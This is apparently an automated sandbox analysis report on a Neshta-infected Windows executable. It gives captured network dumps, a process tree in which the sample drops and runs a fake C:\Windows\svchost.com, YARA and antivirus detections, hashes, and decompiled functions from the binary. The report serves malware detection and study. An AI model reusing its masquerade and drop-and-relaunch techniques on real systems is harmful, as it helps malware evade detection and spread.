2022-10-08 09:35:55 UTC	843	IN	Data Raw: 72 75 65 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 36 36 22 7d 2c 66 61 6c 73 65 5d 5d 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 52 75 6e 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 52 75 6e 29 7b 52 75 6e 2e 6f 6e 41 66 74 65 72 4c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 63 6c 65 61 6e 75 70 28 54 69 6d 65 53 6c 69 63 65 29 7d 29 7d 29 3b 7d 29 3b 0a 0a 6f 6e 6c 6f 61 64 52 65 67 69 73 74 65 72 5f 44 45 50 52 45 43 41 54 45 44 28 66 75 6e 63 74 69 6f 6e 20 28 29 7b 74 72 79 20 7b 20 24 28 22 65 6d 61 69 6c 22 29 2e 66 6f 63 75 73 28 29 3b 20 7d 20 63 61 74 63 68 20 28 5f 69 67 6e 6f 72 65 29 20 7b 20 7d 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 6e 6f 77 5f 69 6e 6c 3d 28 Data Ascii: rue],[{"__m":"__elem_9f5fac15_0_0_66"},false]]});requireLazy(["Run"],function(Run){Run.onAfterLoad(function(){s.cleanup(TimeSlice)})});});onloadRegister_DEPRECATED(function (){try { $("email").focus(); } catch (_ignore) { }});</script><script>now_inl=(
2022-10-08 09:35:55 UTC	844	IN	Data Raw: 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 35 37 77 72 75 61 6a 7a 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 64 2f 72 2f 74 6a 49 55 4a 55 51 38 36 4d 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 35 37 77 72 75 61 6a 7a 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 67 Data Ascii: nc_x=Ij3Wp8lg5Kz" as="script" nonce="57wruajz" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yd/r/tjIUJUQ86MO.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="57wruajz" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yg
2022-10-08 09:35:55 UTC	846	IN	Data Raw: 22 3a 74 72 75 65 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 66 6c 75 73 68 5f 70 61 67 65 6c 65 74 73 5f 61 73 61 70 22 3a 74 72 75 65 2c 22 64 69 73 70 61 74 63 68 5f 70 61 67 65 6c 65 74 5f 72 65 70 6c 61 79 61 62 6c 65 5f 61 63 74 69 6f 6e 73 22 3a 66 61 6c 73 65 7d 7d 29 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 35 37 77 72 75 61 6a 7a 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 Data Ascii: ":true,"config":{"flush_pagelets_asap":true,"dispatch_pagelet_replayable_actions":false}}));});</script><script nonce="57wruajz">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("first_response",n);})})(
2022-10-08 09:35:55 UTC	847	IN	Data Raw: 30 51 4b 54 22 5d 2c 69 64 3a 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 70 68 61 73 65 3a 36 33 2c 6c 61 73 74 5f 69 6e 5f 70 68 61 73 65 3a 74 72 75 65 2c 74 68 65 5f 65 6e 64 3a 74 72 75 65 2c 6a 73 6d 6f 64 73 3a 7b 64 65 66 69 6e 65 3a 5b 5b 22 54 69 6d 65 53 6c 69 63 65 49 6e 74 65 72 61 63 74 69 6f 6e 53 56 22 2c 5b 5d 2c 7b 6f 6e 5f 64 65 6d 61 6e 64 5f 72 65 66 65 72 65 6e 63 65 5f 63 6f 75 6e 74 69 6e 67 3a 74 72 75 65 2c 6f 6e 5f 64 65 6d 61 6e 64 5f 70 72 6f 66 69 6c 69 6e 67 5f 63 6f 75 6e 74 65 72 73 3a 74 72 75 65 2c 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 30 2c 6c 69 74 65 5f 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 6c 69 74 65 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f Data Ascii: 0QKT"],id:"last_response",phase:63,last_in_phase:true,the_end:true,jsmods:{define:[["TimeSliceInteractionSV",[],{on_demand_reference_counting:true,on_demand_profiling_counters:true,default_rate:1000,lite_default_rate:100,interaction_to_lite_coinflip:{ADS_
2022-10-08 09:35:55 UTC	849	IN	Data Raw: 68 6c 75 6b 6f 78 72 61 51 34 78 72 66 4f 4b 56 48 6a 75 73 5a 54 45 39 66 52 58 63 55 57 51 45 57 59 39 38 76 79 33 54 53 36 53 51 62 6d 77 64 73 55 6e 39 5f 46 4f 35 36 75 69 6a 45 5f 2d 42 44 39 31 56 66 47 39 64 67 6b 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 31 37 34 33 39 22 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 31 58 70 66 4f 54 6f 4b 6a 4d 46 61 73 4f 58 68 6c 75 6b 6f 78 72 61 51 34 78 72 66 4f 4b 56 48 6a 75 73 5a 54 45 39 66 52 58 63 55 57 51 45 57 59 39 38 76 79 33 54 53 36 53 51 62 6d 77 64 73 55 6e 39 5f 46 4f 35 36 75 69 6a 45 5f 2d 42 44 39 31 56 66 47 39 64 67 6b 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 Data Ascii: hlukoxraQ4xrfOKVHjusZTE9fRXcUWQEWY98vy3TS6SQbmwdsUn9_FO56uijE_-BD91VfG9dgk"]},-1],["cr:917439",["PageTransitionsBlue"],{__rc:["PageTransitionsBlue","Aa1XpfOToKjMFasOXhlukoxraQ4xrfOKVHjusZTE9fRXcUWQEWY98vy3TS6SQbmwdsUn9_FO56uijE_-BD91VfG9dgk"]},-1],["cr:11
2022-10-08 09:35:55 UTC	850	IN	Data Raw: 5f 72 61 6e 6b 69 6e 67 3a 74 72 75 65 7d 2c 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 5b 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 61 63 74 69 6f 6e 73 22 2c 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 74 72 61 63 65 22 2c 22 61 72 74 69 6c 6c 65 72 79 5f 6c 6f 67 67 65 72 5f 64 61 74 61 22 2c 22 6c 6f 67 67 65 72 22 2c 22 66 61 6c 63 6f 22 2c 22 67 6b 32 5f 65 78 70 6f 73 75 72 65 22 2c 22 6a 73 5f 65 72 72 6f 72 5f 6c 6f 67 67 69 6e 67 22 2c 22 6c 6f 6f 6d 5f 74 72 61 63 65 22 2c 22 6d 61 72 61 75 64 65 72 22 2c 22 70 65 72 66 78 5f 63 75 73 74 6f 6d 5f 6c 6f 67 67 65 72 5f 65 6e 64 70 6f 69 6e 74 22 2c 22 71 65 78 22 2c 22 72 65 71 75 69 72 65 5f 63 6f 6e 64 5f 65 78 70 6f 73 75 72 65 5f 6c 6f 67 67 69 6e 67 Data Ascii: _ranking:true},known_routes:["artillery_javascript_actions","artillery_javascript_trace","artillery_logger_data","logger","falco","gk2_exposure","js_error_logging","loom_trace","marauder","perfx_custom_logger_endpoint","qex","require_cond_exposure_logging
2022-10-08 09:35:55 UTC	852	IN	Data Raw: 4e 64 70 39 58 69 73 38 44 65 5a 37 2d 4e 79 74 74 68 70 63 68 51 77 64 5f 71 75 44 33 73 6a 62 77 43 70 48 64 48 7a 74 34 78 35 72 61 5f 56 6e 33 73 52 69 31 4c 5f 33 46 76 62 52 51 61 44 54 66 48 49 4b 45 65 39 38 53 30 56 31 6c 35 6c 76 4d 4c 45 32 79 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 33 33 35 39 22 2c 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 2c 22 41 61 32 4a 52 49 38 48 35 6c 5a 37 66 61 55 75 55 53 4d 4f 73 57 77 4f 67 33 67 56 77 49 44 34 33 56 6e 48 35 4c 31 4e 6e 71 54 4a 39 53 48 63 4b 68 4a 49 79 5a 76 6b 79 53 6a 54 36 62 69 78 31 77 4f 44 79 6c 4c 56 7a 53 75 6b 75 58 6e 31 5a 34 71 41 Data Ascii: Ndp9Xis8DeZ7-NytthpchQwd_quD3sjbwCpHdHzt4x5ra_Vn3sRi1L_3FvbRQaDTfHIKEe98S0V1l5lvMLE2y"]},-1],["cr:1353359",["EventListenerImplForBlue"],{__rc:["EventListenerImplForBlue","Aa2JRI8H5lZ7faUuUSMOsWwOg3gVwID43VnH5L1NnqTJ9SHcKhJIyZvkySjT6bix1wODylLVzSukuXn1Z4qA
2022-10-08 09:35:55 UTC	853	IN	Data Raw: 65 3a 22 2f 34 6f 68 34 2e 70 68 70 22 2c 70 61 67 65 5f 74 79 70 65 3a 22 6e 6f 72 6d 61 6c 22 2c 70 61 67 65 5f 75 72 69 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 Data Ascii: e:"/4oh4.php",page_type:"normal",page_uri:"https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20i
2022-10-08 09:35:55 UTC	854	IN	Data Raw: 44 65 76 69 63 65 50 65 72 66 49 6e 66 6f 4c 6f 67 67 69 6e 67 22 2c 22 64 6f 4c 6f 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 22 2c 22 73 63 68 65 64 75 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 41 72 74 69 6c 6c 65 72 79 22 2c 22 64 69 73 61 62 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 53 63 72 69 70 74 50 61 74 68 4c 6f 67 67 65 72 22 2c 22 73 74 61 72 74 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 42 69 74 41 72 72 61 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 44 65 66 65 72 72 65 64 43 6f 6f 6b 69 65 22 2c 22 61 64 64 54 6f 51 75 65 75 65 22 2c 5b 5d 2c 5b 22 5f 6a 73 5f 64 61 74 72 22 2c 22 65 30 52 42 59 79 70 6d 41 4c 34 62 69 4e 77 52 6b 45 Data Ascii: DevicePerfInfoLogging","doLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCookie","addToQueue",[],["_js_datr","e0RBYypmAL4biNwRkE

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wYWdigdSjn.exePID: 3932, Parent PID: 3452

General

Target ID:	0
Start time:	11:34:01
Start date:	08/10/2022
Path:	C:\Users\user\Desktop\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\wYWdigdSjn.exe
Imagebase:	0x400000
File size:	1149440 bytes
MD5 hash:	0B7D3217AE50A0433B3A96494D089E05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: wYWdigdSjn.exePID: 5200, Parent PID: 3932

General

Target ID:	1
Start time:	11:34:02
Start date:	08/10/2022
Path:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe"
Imagebase:	0xb00000
File size:	1107968 bytes
MD5 hash:	78C42D6817AF1AD96CABDF6FF2F7F3DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.comPID: 912, Parent PID: 3452

General

Target ID:	2
Start time:	11:34:16
Start date:	08/10/2022
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE"
Imagebase:	0x400000
File size:	41472 bytes
MD5 hash:	36FD5E09C417C767A952B4609D73A54B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\Windows\svchost.com, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Windows\svchost.com, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 98%, ReversingLabs Detection: 91%, Metadefender, Browse
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: wYWdigdSjn.exePID: 2300, Parent PID: 912

General

Target ID:	3
Start time:	11:34:17
Start date:	08/10/2022
Path:	C:\Users\user\Desktop\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WYWDIG~1.EXE
Imagebase:	0x400000
File size:	1149440 bytes
MD5 hash:	0B7D3217AE50A0433B3A96494D089E05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.comPID: 1960, Parent PID: 2300

General

Target ID:	4
Start time:	11:34:21
Start date:	08/10/2022
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"
Imagebase:	0x400000
File size:	41472 bytes
MD5 hash:	36FD5E09C417C767A952B4609D73A54B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: wYWdigdSjn.exePID: 5580, Parent PID: 1960

General

Target ID:	6
Start time:	11:34:21
Start date:	08/10/2022
Path:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE
Imagebase:	0xb00000
File size:	1107968 bytes
MD5 hash:	78C42D6817AF1AD96CABDF6FF2F7F3DA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.comPID: 1760, Parent PID: 3452

General

Target ID:	11
Start time:	11:34:27
Start date:	08/10/2022
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE"
Imagebase:	0x400000
File size:	41472 bytes
MD5 hash:	36FD5E09C417C767A952B4609D73A54B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: wYWdigdSjn.exePID: 3924, Parent PID: 1760

General

Target ID:	12
Start time:	11:34:27
Start date:	08/10/2022
Path:	C:\Users\user\Desktop\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WYWDIG~1.EXE
Imagebase:	0x400000
File size:	1149440 bytes
MD5 hash:	0B7D3217AE50A0433B3A96494D089E05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.comPID: 1276, Parent PID: 3924

General

Target ID:	15
Start time:	11:34:31
Start date:	08/10/2022
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"
Imagebase:	0x7ff651c80000
File size:	41472 bytes
MD5 hash:	36FD5E09C417C767A952B4609D73A54B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: wYWdigdSjn.exePID: 5380, Parent PID: 1276

General

Target ID:	16
Start time:	11:34:32
Start date:	08/10/2022
Path:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE
Imagebase:	0xb00000
File size:	1107968 bytes
MD5 hash:	78C42D6817AF1AD96CABDF6FF2F7F3DA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: wYWdigdSjn.exePID: 5200, Parent PID: 3932COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	1437
Total number of Limit Nodes:	38

Executed Functions

Function 00B0CD24 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00B0CE58
_memset.LIBCMT ref: 00B0CE78

Strings

Kgjm, xrefs: 00B0CE09
T, xrefs: 00B0D2A8
JdmAm^jnak, xrefs: 00B0CE2B
HU~{Fhainz|, xrefs: 00B0CD52
wcwi`xTckh, xrefs: 00B0D1D3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memset
String ID: HU~{Fhainz|$JdmAm^jnak$Kgjm$T$wcwi`xTckh
API String ID: 2102423945-1427305012
Opcode ID: e619db30e2757f5d9074e1943bbf63d04df0b1d9b3185945935d36a89b3b9d38
Instruction ID: fb594e5d156c321311c2f2d9eea2b9914f54ccbd599c6ac41eba6475cf653698
Opcode Fuzzy Hash: e619db30e2757f5d9074e1943bbf63d04df0b1d9b3185945935d36a89b3b9d38
Instruction Fuzzy Hash: 51F170B1901219BFEB269BA4CC46FFFBBBCEF05710F1041A9F918A6181D6705E419F64

Uniqueness

Uniqueness Score: -1.00%

Function 00B5CB30 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B5CB30(void* __eflags) {
				signed int _t9;

				_t9 = 9;
				memset(0xd6afd4, 0, _t9 << 2);
				GetSystemInfo(0xd6afd4); // executed
				E00B1BC76(0xd6afd4, 0xd60e78, 1);
				E00B1BC76(0xd6afd4, 0xd60ed0, 0);
				E00B1BC76(0xd6afd4, 0xd60f28, 0);
				E00B1BC76(0xd6afd4, 0xd60f80, 0);
				return 0;
			}

0x00b5cb3a
0x00b5cb3d
0x00b5cb40
0x00b5cb4d
0x00b5cb59
0x00b5cb65
0x00b5cb71
0x00b5cb7c

APIs

GetSystemInfo.KERNEL32(00D6AFD4,00000000,00B5CABF), ref: 00B5CB40

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 851b78c52f541270a0836dbb6ea0d28a869334a35bf90636a8425d93ef9b3fbc
Instruction ID: eda422ac6d2c9174cab0cce86fb30b3cacc01e6c4322e2b2e34c3fcba79af8ea
Opcode Fuzzy Hash: 851b78c52f541270a0836dbb6ea0d28a869334a35bf90636a8425d93ef9b3fbc
Instruction Fuzzy Hash: 60E0ECB27C43007AE2B036F86D8BF9A2491CB85F01FA48461F200A41CADED540854176

Uniqueness

Uniqueness Score: -1.00%

Function 00B9347C Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 382
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00B9347C(intOrPtr* __ecx, signed int __edx, struct tagLOGFONTW __fp0) {
				signed char _t238;
				void* _t239;
				void* _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t244;
				void* _t245;
				void* _t246;
				void* _t247;
				void* _t248;
				struct tagLOGFONTW _t257;
				signed int _t264;
				struct HFONT__* _t289;
				void* _t291;
				long _t304;
				struct tagLOGFONTW _t305;
				long _t306;
				intOrPtr _t307;
				long _t310;
				long _t311;
				long _t312;
				long _t313;
				long _t314;
				long _t315;
				long _t320;
				long _t330;
				long _t331;
				struct HBRUSH__* _t332;
				struct HBRUSH__* _t333;
				struct HBRUSH__* _t335;
				struct HBRUSH__* _t337;
				struct HPEN__* _t358;
				void* _t372;
				long _t395;
				long _t397;
				struct tagLOGFONTW _t400;
				void* _t402;
				struct HFONT__* _t415;
				int _t418;
				int _t419;
				WCHAR* _t420;
				char _t446;
				intOrPtr _t447;
				signed char _t449;
				intOrPtr* _t465;
				signed int _t515;
				struct tagLOGFONTW _t518;
				intOrPtr _t523;
				intOrPtr* _t524;
				intOrPtr* _t525;
				struct tagLOGFONTW _t526;
				struct tagLOGFONTW _t539;
				void* _t545;
				signed long long _t582;

				_t515 = __edx;
				0xc81503(0x478);
				_t525 = __ecx;
				E00B79FA4(_t545 - 0x484);
				 *(_t545 - 4) = 0;
				_t238 =  *0xcee184( *((intOrPtr*)(_t545 - 0x47c)), 0x58, 0);
				 *(_t545 - 0x460) = _t238;
				asm("fild dword [ebp-0x460]");
				 *(_t545 - 0x460) = __fp0;
				_t582 =  *(_t545 - 0x460) /  *0xd05308;
				asm("fst qword [esi+0x1dc]");
				asm("fld1");
				asm("fcom st0, st1");
				asm("fnstsw ax");
				if((_t238 & 0x00000005) != 0) {
					st1 = _t582;
					L4:
					st0 = _t582;
				} else {
					_t582 =  *0xd052f8;
					asm("fcomp st0, st2");
					asm("fnstsw ax");
					st1 = _t582;
					if((_t238 & 0x00000041) != 0) {
						goto L4;
					} else {
						 *(_t525 + 0x1dc) = _t582;
					}
				}
				_t239 = _t525 + 0x11c;
				if(_t239 != 0 &&  *((intOrPtr*)(_t239 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t239, _t515));
				}
				_t240 = _t525 + 0x124;
				if(_t240 != 0 &&  *((intOrPtr*)(_t240 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t240, _t515));
				}
				_t241 = _t525 + 0x12c;
				if(_t241 != 0 &&  *((intOrPtr*)(_t241 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t241, _t515));
				}
				_t242 = _t525 + 0x134;
				if(_t242 != 0 &&  *((intOrPtr*)(_t242 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t242, _t515));
				}
				_t243 = _t525 + 0x13c;
				if(_t243 != 0 &&  *((intOrPtr*)(_t243 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t243, _t515));
				}
				_t244 = _t525 + 0x144;
				if(_t244 != 0 &&  *((intOrPtr*)(_t244 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t244, _t515));
				}
				_t245 = _t525 + 0x14c;
				if(_t245 != 0 &&  *((intOrPtr*)(_t245 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t245, _t515));
				}
				_t246 = _t525 + 0x154;
				if(_t246 != 0 &&  *((intOrPtr*)(_t246 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t246, _t515));
				}
				_t247 = _t525 + 0x164;
				if(_t247 != 0 &&  *((intOrPtr*)(_t247 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t247, _t515));
				}
				_t248 = _t525 + 0x15c;
				if(_t248 != 0 &&  *((intOrPtr*)(_t248 + 4)) != 0) {
					DeleteObject(E00B7AA2D(0, _t248, _t515));
				}
				 *((intOrPtr*)(_t545 - 0x264)) = 0x1f8;
				E00B92F84(_t525, _t545 - 0x264); // executed
				0xc83f30(_t545 - 0x6c, 0, 0x5c);
				 *((char*)(_t545 - 0x55)) = GetTextCharsetInfo( *(_t545 - 0x480), 0, 0);
				 *(_t545 - 0x5c) =  *(_t545 - 0x174);
				 *((char*)(_t545 - 0x58)) =  *((intOrPtr*)(_t545 - 0x170));
				asm("cdq");
				_t257 = ( *(_t545 - 0x184) ^ _t515) - _t515;
				if(_t257 > 0xc) {
					__eflags =  *(_t525 + 8);
					if( *(_t525 + 8) == 0) {
						_t257 = _t257 - 1;
						__eflags = _t257;
					}
				} else {
					_t257 = 0xb;
				}
				if( *(_t545 - 0x184) < 0) {
					_t257 =  ~_t257;
				}
				 *(_t545 - 0x6c) = _t257;
				lstrcpyW(_t545 - 0x50, _t545 - 0x168);
				if( *((intOrPtr*)(_t525 + 4)) == 0 &&  *((char*)(_t545 - 0x16d)) <= 2) {
